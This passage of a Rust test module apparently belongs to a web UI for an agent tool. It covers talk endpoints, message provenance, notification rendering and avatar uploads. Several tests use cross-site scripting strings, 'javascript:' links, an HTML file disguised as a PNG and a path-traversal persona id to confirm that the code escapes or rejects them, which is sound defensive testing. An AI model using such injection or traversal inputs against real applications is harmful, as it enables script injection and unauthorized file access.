14326        assert_eq!(view.talk.agent, "second");
14327        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14328        let saved = talks.get(&id).expect("reload");
14329        assert_eq!(saved.agent, "second");
14330        assert_eq!(saved.turns.len(), 1);
14331        assert!(!view.thinking);
14332        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14333        for agent in ["mock", "second"] {
14334            let Json(view) = call(agent).await.expect("immediate consecutive change");
14335            assert_eq!(view.talk.agent, agent);
14336            assert!(!view.thinking);
14337            assert!(!ui.is_thinking(&id));
14338        }
14339
14340        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14341            .await
14342            .expect("detail");
14343        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14344        assert_eq!(roster, ["mock", "second"]);
14345
14346        let mut closed = talks.get(&id).expect("reload");
14347        talk::close(&mut closed, &talks).expect("close");
14348        let refused = call("mock").await.expect_err("closed talk");
14349        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14350        assert!(
14351            refused.message.contains("takes no more turns"),
14352            "{}",
14353            refused.message
14354        );
14355    }
14356
14357    #[tokio::test]
14358    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14359        let tmp = TempDir::new().expect("tempdir");
14360        let repo = tmp.path().join("repo");
14361        std::fs::create_dir_all(&repo).expect("repo dir");
14362        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14363        let home = TempDir::new().expect("temp home");
14364        let talks = Talks::at(home.path().join("talks"));
14365        let ui = Arc::new(
14366            Ui::new(
14367                Queue::at(home.path().join("queue")),
14368                Questions::at(home.path().join("questions")),
14369                talks.clone(),
14370                home.path().join("runs"),
14371                home.path().to_path_buf(),
14372                repo.clone(),
14373            )
14374            .with_worktrees_root(home.path().join("wt")),
14375        );
14376        let cfg = config_for(&repo).await.expect("discover config");
14377        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14378        let id = talk.id.clone();
14379        let call = |n: u8| {
14380            talk_implementers(
14381                State(Arc::clone(&ui)),
14382                Path(id.clone()),
14383                Json(TalkImplementers { implementers: n }),
14384            )
14385        };
14386
14387        for bad in [0u8, 4] {
14388            let e = call(bad).await.expect_err("out of range");
14389            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14390        }
14391        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14392
14393        {
14394            // Nothing refused so far took a claim, so the guard is free to take
14395            // and holding it is what makes the talk busy.
14396            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14397            let busy = call(2).await.expect_err("busy talk");
14398            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14399            assert!(
14400                busy.message.contains("a talk turn is running"),
14401                "{}",
14402                busy.message
14403            );
14404            drop(guard);
14405        }
14406
14407        let Json(view) = call(3).await.expect("switch");
14408        assert_eq!(view.talk.implementers, 3);
14409        assert!(talks.get(&id).expect("reload").implementers_dirty);
14410        assert!(!view.thinking);
14411        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14412        for n in [1, 2, 3] {
14413            let Json(view) = call(n).await.expect("immediate consecutive change");
14414            assert_eq!(view.talk.implementers, n);
14415            assert!(!view.thinking);
14416            assert!(!ui.is_thinking(&id));
14417        }
14418
14419        let mut closed = talks.get(&id).expect("reload");
14420        talk::close(&mut closed, &talks).expect("close");
14421        let e = call(2).await.expect_err("closed talk");
14422        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14423        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14424    }
14425
14426    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14427    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14428        let tmp = TempDir::new().expect("tempdir");
14429        let repo = tmp.path().join("repo");
14430        std::fs::create_dir_all(&repo).expect("repo dir");
14431        std::fs::write(
14432            repo.join("magi.toml"),
14433            format!("{MOCK_AGENT_TOML}\n{extra}"),
14434        )
14435        .expect("write magi.toml");
14436        let home = TempDir::new().expect("temp home");
14437        let talks = Talks::at(home.path().join("talks"));
14438        let ui = Arc::new(
14439            Ui::new(
14440                Queue::at(home.path().join("queue")),
14441                Questions::at(home.path().join("questions")),
14442                talks.clone(),
14443                home.path().join("runs"),
14444                home.path().to_path_buf(),
14445                repo.clone(),
14446            )
14447            .with_worktrees_root(home.path().join("wt")),
14448        );
14449        let cfg = config_for(&repo).await.expect("discover config");
14450        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14451        (tmp, home, ui, talk.id, repo)
14452    }
14453
14454    #[tokio::test]
14455    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14456        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14457        let mut conversation = ui.talks.get(&id).unwrap();
14458        talk::record(
14459            &mut conversation,
14460            &ui.talks,
14461            "# Update on a task you filed\noperator words",
14462            vec![],
14463        )
14464        .unwrap();
14465        // Simulate an old operator record; headings do not prove authorship.
14466        conversation.turns[0].sender = None;
14467        conversation.turns[0].messages.clear();
14468        ui.talks.put(&mut conversation).unwrap();
14469        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14470        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14471        talk::drain(&mut conversation, &ui.talks).unwrap();
14472        talk::record_reply(
14473            &mut conversation,
14474            &ui.talks,
14475            "about that report",
14476            vec![],
14477            Some(talk::ReplyTarget {
14478                turn: 1,
14479                message: 1,
14480            }),
14481        )
14482        .unwrap();
14483        conversation.turns[2].messages[0]
14484            .reply
14485            .as_mut()
14486            .unwrap()
14487            .sender = None;
14488        conversation.turns.push(talk::Turn {
14489            sender: Some(talk::Sender::Persona),
14490            who: talk::Who::Agent,
14491            body: "magi: actual persona words".into(),
14492            at: Timestamp::now(),
14493            attachments: vec![],
14494            usage: None,
14495            breaks: None,
14496            messages: vec![],
14497            posted_by: None,
14498        });
14499        ui.talks.put(&mut conversation).unwrap();
14500        let view = TalkView::with_config(
14501            ui.talks.get(&id).unwrap(),
14502            false,
14503            None,
14504            &ui.home,
14505            &ui.references,
14506        );
14507        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14508        assert_eq!(
14509            view.talk.turns[1].messages[0].sender,
14510            Some(talk::Sender::Operator)
14511        );
14512        assert_eq!(
14513            view.talk.turns[1].messages[1].sender,
14514            Some(talk::Sender::Magi)
14515        );
14516        assert_eq!(
14517            view.talk.turns[2].messages[0]
14518                .reply
14519                .as_ref()
14520                .unwrap()
14521                .sender,
14522            Some(talk::Sender::Magi)
14523        );
14524        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14525        assert_eq!(view.turn_messages_md[0].len(), 1);
14526        assert!(view.turn_messages_md[0][0].is_none());
14527        assert!(view.turn_messages_md[1][0].is_none());
14528        assert!(view.turn_messages_md[1][1].is_some());
14529    }
14530
14531    #[tokio::test]
14532    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14533        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14534        let mut conversation = ui.talks.get(&id).unwrap();
14535        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14536        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14537        talk::queue_notice(
14538            &mut conversation,
14539            &ui.talks,
14540            &body,
14541            "watch:123",
14542            &|_| false,
14543            None,
14544            display.clone(),
14545        )
14546        .unwrap();
14547        assert!(
14548            !talk::queue_notice(
14549                &mut conversation,
14550                &ui.talks,
14551                &body,
14552                "watch:123",
14553                &|_| false,
14554                None,
14555                display.clone()
14556            )
14557            .unwrap()
14558        );
14559        let saved = ui.talks.get(&id).unwrap();
14560        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14561        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14562        assert!(
14563            view.talk.turns[0].messages[0].display.is_none(),
14564            "operator copy stays literal"
14565        );
14566        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14567        assert!(view.turn_messages_md[0][0].is_none());
14568        let queued_md = view.pending_messages_md[0].clone();
14569        assert_eq!(
14570            queued_md,
14571            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14572        );
14573        talk::drain(&mut conversation, &ui.talks).unwrap();
14574        talk::record_reply(
14575            &mut conversation,
14576            &ui.talks,
14577            "Explain",
14578            vec![],
14579            Some(talk::ReplyTarget {
14580                turn: 1,
14581                message: 0,
14582            }),
14583        )
14584        .unwrap();
14585        let mut saved = ui.talks.get(&id).unwrap();
14586        assert_eq!(saved.turns[1].messages[0].body, body);
14587        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14588        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14589        assert!(!reply.excerpt.contains("automatic report"));
14590        reply.excerpt = body.chars().take(240).collect(); // old saved quote
14591        saved.turns[1].messages[0].display = None; // old MAGI send
14592        ui.talks.put(&mut saved).unwrap();
14593        let view = TalkView::with_config(
14594            ui.talks.get(&id).unwrap(),
14595            false,
14596            None,
14597            &ui.home,
14598            &ui.references,
14599        );
14600        assert_eq!(view.turn_messages_md[1][0], queued_md);
14601        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14602        assert!(
14603            !view.talk.turns[2].messages[0]
14604                .reply
14605                .as_ref()
14606                .unwrap()
14607                .excerpt
14608                .contains("automatic report")
14609        );
14610        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14611    }
14612
14613    #[tokio::test]
14614    async fn consultation_display_hides_directives_in_queue_and_history() {
14615        for node in [
14616            "implement",
14617            crate::land::APPROVAL_NODE,
14618            crate::github_text::ASK_NODE,
14619        ] {
14620            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14621            let mut question = Question::new(
14622                "run-123".into(),
14623                node.into(),
14624                "seat-1".into(),
14625                "Which backend?".into(),
14626                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14627                vec!["SQLite".into(), "Redis".into()],
14628            );
14629            ui.questions.put(&mut question).unwrap();
14630            let body = crate::prompt::chat_consult(&question);
14631            let mut conversation = ui.talks.get(&id).unwrap();
14632            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14633            assert!(
14634                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14635            );
14636            conversation = ui.talks.get(&id).unwrap();
14637            assert_eq!(conversation.pending_messages[0].body, body);
14638            assert!(body.contains("magi answer"));
14639            let mut legacy_pending = conversation.clone();
14640            legacy_pending.pending_messages[0].display = None;
14641            let legacy_view =
14642                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14643            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14644            assert!(legacy_md.contains("Question consultation"));
14645            assert!(!legacy_md.contains("magi answer"));
14646            let view =
14647                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14648            assert!(
14649                view.turn_messages_md[0][0].is_none(),
14650                "operator copy stays literal"
14651            );
14652            let queued_md = view.pending_messages_md[0].clone().unwrap();
14653            let rendered = serde_json::to_string(&queued_md).unwrap();
14654            for visible in [
14655                "Which backend?",
14656                "Context",
14657                "storage",
14658                "SQLite",
14659                "Redis",
14660                "<script>literal</script>",
14661            ] {
14662                assert!(rendered.contains(visible), "missing {visible}");
14663            }
14664            for directive in [
14665                "What to do",
14666                "magi answer",
14667                "Never answer it yourself",
14668                "Do not edit the repository",
14669            ] {
14670                assert!(!rendered.contains(directive), "exposed {directive}");
14671            }
14672            assert_eq!(
14673                view.talk.pending_messages[0].display,
14674                Some(crate::prompt::chat_consult_display(&question))
14675            );
14676            talk::drain(&mut conversation, &ui.talks).unwrap();
14677            let view =
14678                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14679            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14680            assert_eq!(conversation.turns[1].messages[0].body, body);
14681
14682            // Historical consultations lack a snapshot: show a safe placeholder
14683            // rather than parsing instructions or reconstructing mutable facts.
14684            conversation.turns[1].messages[0].display = None;
14685            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14686            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14687            assert!(legacy.contains("Question consultation"));
14688            assert!(!legacy.contains("magi answer"));
14689            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14690        }
14691    }
14692
14693    #[test]
14694    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14695        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14696        let (body, mut display) =
14697            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14698        display.facts = facts.into();
14699        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14700        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14701        let json = serde_json::to_string(&nodes).unwrap();
14702        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14703            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14704        }
14705        assert!(json.contains("<script>alert(1)</script>"));
14706        assert!(!json.contains("javascript:"));
14707        assert!(!json.contains("Tell the operator"));
14708        assert!(!json.contains("untrusted"));
14709        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14710        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14711        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14712        assert_eq!(
14713            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14714            md::to_nodes("# Status", &md::ImageBase::None),
14715        );
14716    }
14717
14718    #[tokio::test]
14719    async fn notification_display_recovers_exact_legacy_completion_references() {
14720        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14721        let mut conversation = ui.talks.get(&id).unwrap();
14722        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14723            id: "task-123",
14724            title: "Change",
14725            status: "done",
14726            reason: None,
14727            run: Some("run-123"),
14728            pr: None,
14729            summary: Some("Merge state unknown"),
14730        });
14731        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14732        conversation.turns[0].sender = None;
14733        conversation.turns[0].messages.clear();
14734        conversation.turns[0].breaks = None;
14735        conversation.pending = body.clone();
14736        conversation
14737            .completion_notices
14738            .push(crate::chat_notify::CompletionReference {
14739                task: "task-123".into(),
14740                run: Some("run-123".into()),
14741                notice: body.clone(),
14742            });
14743        ui.talks.put(&mut conversation).unwrap();
14744        let view = TalkView::with_config(
14745            ui.talks.get(&id).unwrap(),
14746            false,
14747            None,
14748            &ui.home,
14749            &ui.references,
14750        );
14751        assert_eq!(
14752            view.talk.turns[0].messages[0].display,
14753            Some(display.clone())
14754        );
14755        assert_eq!(view.talk.pending_messages[0].display, Some(display));
14756        assert_eq!(
14757            view.talk.turns[0].messages[0].sender,
14758            Some(talk::Sender::Magi)
14759        );
14760        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14761        conversation.completion_notices[0]
14762            .notice
14763            .push_str("different");
14764        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14765        assert!(view.talk.turns[0].messages.is_empty());
14766        assert!(view.talk.pending_messages.is_empty());
14767    }
14768
14769    #[tokio::test]
14770    async fn avatar_settings_report_states_and_inherit_after_corruption() {
14771        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14772        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14773            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14774        ))
14775        .await;
14776        let path = avatar_setting_path(home.path(), Some("rei"));
14777        let orphan = avatar_setting_path(home.path(), Some("removed"));
14778        save_icon_file(&orphan, icon).unwrap();
14779        for (saved, expected) in [
14780            (icon, "custom"),
14781            ("builtin", "builtin"),
14782            ("data:image/png;base64,!!!!", "inherit"),
14783            ("data:image/png;base64,PGh0bWw+", "inherit"),
14784            ("/tmp/avatar.png", "inherit"),
14785        ] {
14786            atomic_icon_write(&path, saved).unwrap();
14787            let catalog =
14788                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14789                    .await
14790                    .unwrap()
14791                    .0;
14792            let personas = catalog["personas"].as_array().unwrap();
14793            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14794            assert_eq!(rei["override_state"], expected);
14795            assert_eq!(rei["has_config_icon"], true);
14796            assert_eq!(rei["is_orphan"], false);
14797            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14798            assert_eq!(removed["override_state"], "custom");
14799            assert_eq!(removed["is_orphan"], true);
14800            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14801            assert_eq!(default["override_state"], "inherit");
14802            assert_eq!(default["has_config_icon"], false);
14803            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14804            assert_eq!(
14805                effective.as_deref(),
14806                Some(if expected == "builtin" { "" } else { icon })
14807            );
14808        }
14809    }
14810
14811    #[tokio::test]
14812    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14813        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14814        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14815            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14816        ))
14817        .await;
14818        let target = |id: Option<&str>| AvatarSettingsQuery {
14819            persona: id.map(str::to_owned),
14820            ..Default::default()
14821        };
14822        let original_config = config_for(&repo).await.unwrap();
14823        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14824        let original_prompt = persona::section_for(&original_persona, None);
14825        let before = talk_detail(State(ui.clone()), Path(id.clone()))
14826            .await
14827            .unwrap()
14828            .0;
14829        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14830            let _ = avatar_settings_put(
14831                State(ui.clone()),
14832                Query(target(persona)),
14833                Json(MagiIconUpload { icon: icon.into() }),
14834            )
14835            .await
14836            .unwrap();
14837            let path = avatar_setting_path(home.path(), persona);
14838            assert!(path.starts_with(home.path().join("avatars")));
14839            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14840            for bad in [
14841                "/tmp/image.png".to_owned(),
14842                "data:image/png;base64,!!!!".to_owned(),
14843                "data:image/png;base64,PGh0bWw+".to_owned(),
14844                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14845                format!(
14846                    "data:image/png;base64,{}",
14847                    "A".repeat(persona_icon::ICON_MAX_BYTES)
14848                ),
14849            ] {
14850                assert!(
14851                    avatar_settings_put(
14852                        State(ui.clone()),
14853                        Query(target(persona)),
14854                        Json(MagiIconUpload { icon: bad })
14855                    )
14856                    .await
14857                    .is_err()
14858                );
14859                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14860            }
14861        }
14862        assert!(read_magi_icon(home.path()).is_none());
14863        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14864        let after = talk_detail(State(ui.clone()), Path(id.clone()))
14865            .await
14866            .unwrap()
14867            .0;
14868        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14869        assert_ne!(
14870            before
14871                .personas
14872                .iter()
14873                .find(|p| p.id == "magi")
14874                .unwrap()
14875                .avatar,
14876            after
14877                .personas
14878                .iter()
14879                .find(|p| p.id == "magi")
14880                .unwrap()
14881                .avatar
14882        );
14883        let restarted = Arc::new(Ui::new(
14884            Queue::at(home.path().join("queue")),
14885            Questions::at(home.path().join("questions")),
14886            Talks::at(home.path().join("talks")),
14887            home.path().join("runs"),
14888            home.path().to_owned(),
14889            repo,
14890        ));
14891        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14892            .await
14893            .unwrap()
14894            .0;
14895        assert!(
14896            catalog["personas"]
14897                .as_array()
14898                .unwrap()
14899                .iter()
14900                .any(|p| p["id"] == "../custom/日本語")
14901        );
14902        for expected in ["custom", "default", "rei"] {
14903            assert!(
14904                catalog["personas"]
14905                    .as_array()
14906                    .unwrap()
14907                    .iter()
14908                    .any(|p| p["id"] == expected)
14909            );
14910        }
14911        let response =
14912            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14913        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14914        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14915            .await
14916            .unwrap();
14917        assert_eq!(
14918            effective_persona_icon(home.path(), "rei", Some(icon)),
14919            Some(String::new())
14920        );
14921        let response = talk_avatar(
14922            State(restarted.clone()),
14923            Path(id.clone()),
14924            Query(AvatarQuery {
14925                persona: Some("rei".into()),
14926                ..Default::default()
14927            }),
14928        )
14929        .await
14930        .unwrap();
14931        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14932        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14933            .await
14934            .unwrap()
14935            .0;
14936        assert_ne!(
14937            after
14938                .personas
14939                .iter()
14940                .find(|p| p.id == "rei")
14941                .unwrap()
14942                .avatar,
14943            reset
14944                .personas
14945                .iter()
14946                .find(|p| p.id == "rei")
14947                .unwrap()
14948                .avatar
14949        );
14950        let mut inherit = target(Some("rei"));
14951        inherit.inherit = Some("1".into());
14952        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14953            .await
14954            .unwrap();
14955        assert_eq!(
14956            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14957            Some(icon)
14958        );
14959        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14960            .await
14961            .unwrap();
14962        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14963        assert_eq!(
14964            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14965            Some(icon)
14966        );
14967        // Display changes never rewrite the conversation or its prompt-bearing config.
14968        let cfg = config_for(&ui.repo).await.unwrap();
14969        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14970        assert_eq!(persona::section_for(&resolved, None), original_prompt);
14971        assert!(!original_prompt.contains("data:image"));
14972        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14973        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14974        assert!(!stored.contains("data:image"));
14975        let mut orphan = ui.talks.get(&id).unwrap();
14976        orphan.persona = "../custom/日本語".into();
14977        let view = TalkView::with_config(
14978            orphan,
14979            false,
14980            Some(&cfg),
14981            home.path(),
14982            &id_links::IndexCache::default(),
14983        );
14984        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14985    }
14986
14987    #[tokio::test]
14988    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14989        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14990        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14991        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14992        let _ = magi_icon_put(
14993            State(ui.clone()),
14994            Json(MagiIconUpload { icon: icon.into() }),
14995        )
14996        .await
14997        .unwrap();
14998        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14999        assert_ne!(original, changed);
15000        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15001        let response = magi_avatar(
15002            State(ui.clone()),
15003            Query(AvatarQuery {
15004                persona: None,
15005                builtin: None,
15006            }),
15007        )
15008        .await;
15009        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15010        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15011        assert_eq!(
15012            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15013            "nosniff"
15014        );
15015        for bad in [
15016            "data:image/png;base64,PGh0bWw+".to_owned(),
15017            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15018            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15019        ] {
15020            assert!(save_magi_icon(home.path(), &bad).is_err());
15021            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15022        }
15023        // Re-opened server state reads the same independent home file.
15024        let restarted = Arc::new(Ui::new(
15025            Queue::at(home.path().join("queue")),
15026            Questions::at(home.path().join("questions")),
15027            Talks::at(home.path().join("talks")),
15028            home.path().join("runs"),
15029            home.path().to_path_buf(),
15030            repo,
15031        ));
15032        assert_eq!(
15033            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15034            changed
15035        );
15036        let view = TalkView::with_config(
15037            restarted.talks.get(&id).unwrap(),
15038            false,
15039            None,
15040            &restarted.home,
15041            &restarted.references,
15042        );
15043        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15044        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15045        let response = magi_avatar(
15046            State(ui.clone()),
15047            Query(AvatarQuery {
15048                persona: None,
15049                builtin: None,
15050            }),
15051        )
15052        .await;
15053        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15054            .await
15055            .unwrap();
15056        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15057        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15058        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15059        let _ = magi_icon_delete(State(ui)).await.unwrap();
15060    }
15061
15062    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15063    async fn avatar(
15064        ui: &Arc<Ui>,
15065        id: &str,
15066        persona: Option<&str>,
15067        builtin: bool,
15068    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15069        let res = talk_avatar(
15070            State(Arc::clone(ui)),
15071            Path(id.to_owned()),
15072            Query(AvatarQuery {
15073                persona: persona.map(str::to_owned),
15074                builtin: builtin.then(|| "1".to_owned()),
15075            }),
15076        )
15077        .await
15078        .expect("an avatar is never an error response");
15079        let h = res.headers();
15080        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15081        let nosniff = h
15082            .get(header::X_CONTENT_TYPE_OPTIONS)
15083            .is_some_and(|v| v == "nosniff");
15084        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15085        let status = res.status();
15086        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15087            .await
15088            .expect("body")
15089            .to_vec();
15090        (status, ct, nosniff, csp, body)
15091    }
15092
15093    fn tiny_png() -> Vec<u8> {
15094        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15095        b.extend_from_slice(&[0u8; 32]);
15096        b
15097    }
15098
15099    #[tokio::test]
15100    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15101        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15102        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15103        assert_eq!(res.status(), StatusCode::OK);
15104        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15105        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15106        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15107        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15108        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15109            .await
15110            .unwrap();
15111        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15112        assert_ne!(
15113            persona_icon::operator_svg(),
15114            persona_icon::builtin_svg("default")
15115        );
15116    }
15117
15118    #[tokio::test]
15119    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15120        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15121        for p in [
15122            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15123        ] {
15124            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15125            assert_eq!(status, StatusCode::OK, "{p}");
15126            assert_eq!(ct, "image/svg+xml", "{p}");
15127            assert!(nosniff && csp, "{p}");
15128            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15129        }
15130        // No `persona` means the conversation's own; unknown ones fall back.
15131        let own = avatar(&ui, &id, None, false).await;
15132        let default = avatar(&ui, &id, Some("default"), false).await;
15133        assert_eq!(own.4, default.4);
15134        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15135        assert_eq!(unknown.1, "image/svg+xml");
15136    }
15137
15138    #[tokio::test]
15139    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15140        let dir = TempDir::new().expect("icons");
15141        let good = dir.path().join("good.png");
15142        std::fs::write(&good, tiny_png()).unwrap();
15143        let spoof = dir.path().join("spoof.png");
15144        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15145        let big = dir.path().join("big.png");
15146        let mut bytes = tiny_png();
15147        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15148        std::fs::write(&big, bytes).unwrap();
15149        let missing = dir.path().join("missing.png");
15150        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15151        let extra = format!(
15152            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15153             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15154             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15155             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15156             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
